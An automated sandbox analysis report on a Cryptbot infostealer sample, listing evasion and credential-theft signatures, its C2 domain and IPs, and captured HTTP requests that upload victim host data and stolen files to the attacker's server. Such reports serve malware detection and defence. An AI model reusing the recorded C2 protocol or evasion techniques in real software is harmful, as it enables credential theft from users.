Windows Analysis Report
6dPpCeWDig.exe

Overview

General Information

Sample name: 6dPpCeWDig.exe
renamed because original name is a hash value
Original sample name: 416736895f3b6021b4ebe4173c814106.exe
Analysis ID: 1579775
MD5: 416736895f3b6021b4ebe4173c814106
SHA1: 7e2e1ac6dfcac96522dd5610290119d778086dbb
SHA256: 135caea7497cca4a151d49412a1594be435ae2af9827221d8ef67a66ed75a9f4
Tags: exeuser-abuse_ch
Infos:

Detection

Clipboard Hijacker, Cryptbot
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Attempt to bypass Chrome Application-Bound Encryption
Found malware configuration
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Clipboard Hijacker
Yara detected Cryptbot
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Drops large PE files
Found evasive API chain (may stop execution after checking mutex)
Found stalling execution ending in API Sleep call
Hides threads from debuggers
Leaks process information
Machine Learning detection for sample
PE file contains section with special chars
Sigma detected: Suspicious Scheduled Task Creation Involving Temp Folder
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal browser information (history, passwords, etc)
Uses schtasks.exe or at.exe to add and modify task schedules
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for read data from the clipboard
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Detected potential crypto function
Drops PE files
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: Browser Started with Remote Debugging
Sigma detected: Suspicious Schtasks From Env Var Folder
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)

Classification

Name Description Attribution Blogpost URLs Link
CryptBot A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: 6dPpCeWDig.exe Avira: detected
Found malware configuration
Source: 6dPpCeWDig.exe.6108.0.memstrmin Malware Configuration Extractor: Cryptbot {"C2 list": ["home.twentytk20ht.top"]}
Multi AV Scanner detection for submitted file
Source: 6dPpCeWDig.exe Virustotal: Detection: 70% Perma Link
Source: 6dPpCeWDig.exe ReversingLabs: Detection: 65%
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: 6dPpCeWDig.exe Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00AE15B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 9_2_00AE15B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C6C14B0 _open,_exit,_write,_close,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,CryptReleaseContext, 9_2_6C6C14B0
Source: 6dPpCeWDig.exe, 00000000.00000003.1458243412.0000000007B20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: -----BEGIN PUBLIC KEY----- memstr_eb2d0acc-6
Uses 32bit PE files
Source: 6dPpCeWDig.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\.ms-ad\ Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\ Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\ Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\Local\Google\ Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea ecx, dword ptr [esp+04h] 9_2_00AE81E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C6E0860
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 9_2_6C6EA970
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C78C920
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C6EA9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 9_2_6C6EA9E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C79F960h 9_2_6C6DEB10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C756BF0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 9_2_6C7684A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 9_2_6C6EC510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C6EA5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 9_2_6C6EA5F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+08h] 9_2_6C6EA580
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C6EE6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 9_2_6C6EE6E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 9_2_6C6E0740
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, ecx 9_2_6C760730
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx+04h] 9_2_6C71A1E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [ecx] 9_2_6C6E0260
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [6C79D014h] 9_2_6C794360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push esi 9_2_6C737D10
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 9_2_6C733840
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+04h] 9_2_6C6ED974
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 9_2_6C6FBBDB
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 9_2_6C6FBBD7
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C73B4D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebp 9_2_6C6ED504
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+0Ch] 9_2_6C6ED674
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 9_2_6C739600
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then mov eax, 6C79DFF4h 9_2_6C733690
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then lea eax, dword ptr [ecx+08h] 9_2_6C6ED7F4
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push edi 9_2_6C763140
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C73B1F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C6DB1D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then sub esp, 1Ch 9_2_6C6ED2A0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 4x nop then push ebx 9_2_6C7573A0
Source: chrome.exe Memory has grown: Private usage: 9MB later: 24MB

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.8:49710 -> 185.121.15.192:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.8:49711 -> 185.121.15.192:80
Source: Network traffic Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.8:49724 -> 185.121.15.192:80
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: home.twentytk20ht.top
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global traffic HTTP traffic detected: POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1Host: home.twentytk20ht.topAccept: */*Content-Type: application/jsonContent-Length: 502978Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 39 34 30 35 33 30 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 34 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 34 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 36 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 2
Source: global traffic HTTP traffic detected: GET /TQIuuaqjNpwYjtUvFojm1734579850?argument=4nxsLkBvaHsgJjmX1734940534 HTTP/1.1Host: home.twentytk20ht.topAccept: */*
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20ht.topAccept: */*Content-Length: 463Content-Type: multipart/form-data; boundary=------------------------sE4XuMDwEzPUQ6sWgV5hosData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 73 45 34 58 75 4d 44 77 45 7a 50 55 51 36 73 57 67 56 35 68 6f 73 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 75 6b 6f 63 61 6e 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 4c 54 cc 60 2c ec b7 f6 33 ce 4e 2b 8d e9 f5 b7 66 f2 aa b9 fb e4 fb 84 97 e9 4a 50 83 8b 91 3e c7 c1 27 e3 35 c0 8f 9e aa 6d f6 90 41 63 a8 dc d5 4f 68 64 ce f5 99 67 79 9b ff 1b 82 7e a1 76 21 ca 62 4d 13 9e e9 90 65 54 c9 43 dd 77 57 73 d6 40 12 ff 2f c7 a8 ae 44 f7 e5 d2 41 65 69 18 4e b9 0a 27 11 19 99 c2 ae 71 91 7c 68 03 80 14 2b 73 a1 de c7 e4 6d 37 69 53 6a ad 0a 4a 5f 5f 43 75 b0 96 14 88 85 3f c1 c5 e2 43 4d b9 77 7d 70 7c 04 e0 91 67 96 45 89 48 42 db 65 20 28 21 09 55 dc 6c 21 c7 7e 1c de 11 da 0f 7d 90 e7 71 54 28 c1 2d c5 82 d8 25 4f 37 2c 1f f2 f5 56 c1 e2 9f 9d 4d 8b b5 1f 3c 67 87 85 8d 22 f4 0c c3 be b9 32 72 b0 26 6f 8f b7 0c a0 1b 92 1f 63 28 85 91 c7 88 6d 9c 84 27 f1 a2 bd 05 c6 56 fb 87 8b 29 89 72 22 ff 03 ce 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 73 45 34 58 75 4d 44 77 45 7a 50 55 51 36 73 57 67 56 35 68 6f 73 2d 2d 0d 0a Data Ascii: --------------------------sE4XuMDwEzPUQ6sWgV5hosContent-Disposition: form-data; name="file"; filename="Kukocan.bin"Content-Type: application/octet-streamLT`,3N+fJP>'5mAcOhdgy~v!bMeTCwWs@/DAeiN'q|h+sm7iSjJ__Cu?CMw}p|gEHBe (!Ul!~}qT(-%O7,VM<g"2r&oc(m'V)r"--------------------------sE4XuMDwEzPUQ6sWgV5hos--
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20ht.topAccept: */*Content-Length: 76826Content-Type: multipart/form-data; boundary=------------------------E3YpXZfVIvqngwisb2PPHZData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 45 33 59 70 58 5a 66 56 49 76 71 6e 67 77 69 73 62 32 50 50 48 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 61 77 6f 67 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 97 f5 23 41 ec 4f d3 19 9b bb 6e 9c 0a e1 61 62 40 eb 0c 80 7c 3e a2 ca 90 64 fc 8d 0e d7 a5 91 58 13 28 25 5a 2c d0 ee d5 0d 3d 40 9c 1e d5 24 8d 65 91 81 fe ae db 78 c7 04 47 ae d1 77 a6 5a 64 d5 22 db ba 6b fd c5 bb 5c 05 8e cd 31 d6 02 ce de a3 fa af 71 89 77 27 0e 07 a2 24 f8 3c 08 42 bc 42 59 79 00 14 f5 28 87 00 97 5c 8b c2 0e 65 59 2a 64 4f a2 d8 9b 1c 10 dd e6 1c c7 d4 83 b5 c3 28 14 d6 e7 69 bb c8 44 02 a0 45 26 59 63 8c 78 7f 20 a0 65 9c 44 92 4d bb e1 a7 b0 86 3a 3a e4 16 17 ed 24 41 77 e2 21 3a ef 16 eb 99 21 b9 89 12 e5 35 93 33 30 4f b1 55 41 3f a4 50 71 67 db ad 07 93 3e 15 af 0f d4 f2 b1 73 64 73 32 fb 0c 0a 97 e1 93 4b 7b 12 6e 58 8b 3a 50 79 0a dc 4e ca e1 c1 2a f8 26 1b 94 fb dd 97 72 9e 17 52 92 08 77 a2 86 61 52 ca 69 37 9e 31 b6 fd be 54 5b d0 64 b5 fa a9 2f e1 70 9e ca 42 ab fe c8 42 ff 76 6c 2c 7a de 68 42 95 ff bb d4 5f 74 01 66 d9 5e bf 4d 91 68 4c f4 e8 d4 3d 57 4d 46 38 36 57 09 b8 d7 87 be 7e 2a b6 7f ee f4 66 d5 5d 26 18 18 58 3c 08 87 60 03 67 5f 1e da 3d 86 7a 22 cd 85 0a de 12 3d dd 5d 95 e4 c7 01 70 2e de 95 ff 6c 08 99 4e 5c 73 d3 f7 8d 9b d9 7e fd e5 10 a7 bc 0a 72 84 06 89 eb 05 d7 2e 3d ca da 32 a2 3a 8e 82 60 91 8a 29 3c 49 82 f9 a5 c2 a0 d6 87 57 28 f4 4d ed 07 b4 fe 59 3d ea f5 e7 bd 7c 6d cd 95 9f 3e ac 5a 4c 79 75 10 76 6f 05 5b cf 63 c9 ab a4 be 9a d2 90 55 e8 77 68 ea 58 9d e1 4c 80 09 83 be ff 49 49 1f 1f 94 82 91 fa 48 ec 6f 5d 0a a3 07 05 e4 cb 9f 6b 9b c2 18 8b 97 e6 a2 76 31 2e b2 c8 26 f7 b3 0d 79 cf a8 53 d4 67 da 2b 53 bc 36 0d b0 4b fb 48 35 3b df 41 35 c8 a7 87 08 dd cf 1c 4e 40 bd ae d8 b5 85 26 3e 44 71 91 90 de 3e c9 d9 50 bf ad 13 55 8e 6e a9 b9 52 84 2d 57 62 bd 93 32 8a 6f 55 34 e6 a8 2b b3 75 7c 60 e6 e1 91 69 23 69 61 8a cb 66 f8 00 97 6e 38 86 bb 20 c3 9c f0 7a a2 f5 54 41 6b ff 07 30 3d ef 7d 1e c6 23 6c f7 d3 81 fb 8c ca 09 32 01 5b 3e b0 25 ae 90 fc c6 59 f9 a0 57 0c cd eb c1 12 27 cc 02 68 cd 3b d7 b0 00 b0 d1 26 1d 6e b4 ed 37 e1 94 bf cd 4f 52 82 7d 00 99 be 91 6a 7a 05 44 73 47 42 d9 c5 e9 44 aa db f0 58 7d c0 27 33 f8 60 e5 35 1e 66 07 bb 26 27 8c 4e 11 3b af 6b 14 a1 01 e4 73 58 06 07 98 70 e1 fa 83 04 82 9d 06 04 5a 5a 6f 2f 31 b8 ae 50 85 a8 1a f0 6a 10 4a b3 8a 52 9a 43 2e b5 73 5a 4b 7a da 26 cf a2 e5 36 b0 33 3d 8b 02 6d 30 b3 d3 83 fb ae ef 52 a9 78 25 b9 c8 53 f4 f8 4b 44 ed d5 90 d5 d9 5a 87 28 b1 15 7c 35
Source: global traffic HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: twentytk20ht.topAccept: */*Content-Length: 30353Content-Type: multipart/form-data; boundary=------------------------leCYpgwLLVTbUPTnGC3TO8Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6c 65 43 59 70 67 77 4c 4c 56 54 62 55 50 54 6e 47 43 33 54 4f 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 51 65 78 69 6d 75 78 6f 6d 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 95 84 20 18 c6 f5 91 3c 97 3b 19 59 ae 55 17 ea e9 4c 07 97 e3 f3 3f 8e cc 93 e5 7c 7e c9 ed f7 b7 27 0e 55 06 86 41 8c 3e e1 cf b9 58 eb f9 34 bf 01 da fc f6 47 92 60 d1 ba ee a1 cf e0 41 ec 3d 0e 7f b5 65 e3 2b f2 19 e6 87 a9 d8 c7 07 64 5f 7c 38 e6 a0 db 55 ac b4 0f 4e 91 b6 98 11 fe ff 1b 89 48 bb a1 8c bc 8b c2 35 6c 70 0f 68 ba 91 ca 0e 5b a1 4f 7b 99 eb 45 19 75 a1 f5 75 b9 82 24 0d 1d 2c c2 af bb 23 9c c3 cf 8d 18 d3 44 e9 b2 bf ab db 5d dd 35 b6 7b 9c 3e e0 1f db b7 e2 9d 76 7f 6c 97 f1 8a c8 89 f2 5f fe 89 04 ac b3 8c 87 4f bf fd 8b 55 c0 2a c5 c3 d5 28 32 5c ec 41 3a 00 43 bb 20 1d 72 82 11 be 2d 59 04 c9 e9 fb a6 50 7f a9 71 47 66 0b 26 ef 9e 3d 4a ac e1 45 48 d1 c5 70 f3 f5 31 41 3f 52 1f f0 df 91 f8 6a 98 c7 26 34 49 30 f6 21 95 41 ac 8b 76 7f f8 11 07 d1 b0 72 81 23 75 0f 8c a4 0f e6 87 30 a5 0d db 66 4b e5 bd 88 b6 77 f2 12 26 b2 f5 d4 4e 8b a2 12 dd c6 e5 7b df d4 cb 6f c2 d9 33 e1 c8 81 72 c8 0e ed a2 3c 2a 7c 99 29 90 04 57 f7 2d e6 ea a7 aa 2c a0 41 47 7e 45 da 7c 30 70 75 47 4e f9 8b 3c c9 8e c5 6d 12 86 c3 f2 20 63 f9 97 50 6a 2c 38 6a 1e 4a 66 0d e1 7f 3e 32 e6 b6 e7 0b a4 6f 8f ee e1 31 4e 9b 93 d1 ce 75 f9 dc 0b 1a 0b 0e 4c 15 e1 2a 38 9e 82 8e 96 b7 a5 72 5c 0f 3d 00 78 55 12 60 61 f3 3e 19 c6 35 26 99 96 0a 67 80 a0 ee 76 98 e2 a7 3f af b3 13 c3 3e 87 6f 4c 85 dd ef 9f 69 b6 0d 18 15 aa 31 fc e3 99 64 a4 8c 8b fd 86 c8 9e 60 1f fb 3b 23 58 7f 68 68 1b 41 f7 1b 1c f5 cb c2 e7 92 0b 42 f7 6a 93 5b ae 94 ed 2c 4f e1 ef 23 9d f5 9c c8 4c 1d 7a 42 2b 83 c1 f1 f3 23 f0 06 52 c0 9f ba 00 47 ea 70 fb 50 7b 87 03 39 26 89 31 d9 40 85 3d f0 02 f5 10 2c f0 bf 05 1c f2 f2 8f d5 92 24 a5 63 43 cb 24 8f ad 25 c0 90 e8 75 e4 72 bb 87 eb 03 19 d0 66 cb 18 21 12 fe 7a 45 b7 2c e1 fd 3a 5d a5 4d 1f ad ca fa 2c ed d2 66 79 7d 0a af 1e 7f 78 ed 33 8f 5c 75 b0 78 3a 97 05 74 08 d0 8f a7 4c 39 5f e8 bc 79 f5 ce 67 9e 79 5e f0 33 75 da 1b 4c 3b 17 cd b7 1c a6 d1 5b 7f 39 58 9b 29 9a 4e c3 ee 46 d5 9a c9 00 d0 e9 80 34 79 da 62 b5 bc 51 a4 60 57 84 c3 f1 a3 63 66 e4 ae bb aa b0 a2 8b 6b 77 b1 d3 da 00 56 83 63 2e 00 82 d3 a2 df 2e a7 82 c2 e3 bc 06 07 89 17 e5 3f a2 05 6e 8b 66 5f ac 02 c8 5f c9 8d 44 fe 89 f1 07 09 05 83 56 c1 e2 3f 91 82 62 3c 32 2b 23 e2 9c 0f ae ef 33 93 47 b1 94 f6 f2 75 a9 8d 4d d9 50 cb 28 04 32 f4 59 50 cb 2c 89 fc f3 e8 06 ee 53 ee 31 85 70 43 52 f4
Source: global traffic HTTP traffic detected: POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1Host: home.twentytk20ht.topAccept: */*Content-Type: application/jsonContent-Length: 56Data Raw: 7b 20 22 69 64 31 22 3a 20 22 34 6e 78 73 4c 6b 42 76 61 48 73 67 4a 6a 6d 58 31 37 33 34 39 34 30 35 33 34 22 2c 20 22 64 61 74 61 22 3a 20 22 44 6f 6e 65 32 22 20 7d Data Ascii: { "id1": "4nxsLkBvaHsgJjmX1734940534", "data": "Done2" }
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 185.121.15.192 185.121.15.192
Source: Joe Sandbox View IP Address: 34.226.108.155 34.226.108.155
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global traffic HTTP traffic detected: GET /TQIuuaqjNpwYjtUvFojm1734579850?argument=4nxsLkBvaHsgJjmX1734940534 HTTP/1.1Host: home.twentytk20ht.topAccept: */*
Source: chrome.exe, 00000003.00000002.1887577602.00003D84006FD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: %https://www.youtube.com/?feature=ytca equals www.youtube.com (Youtube)
Source: chrome.exe, 00000003.00000002.1887577602.00003D84006FD000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
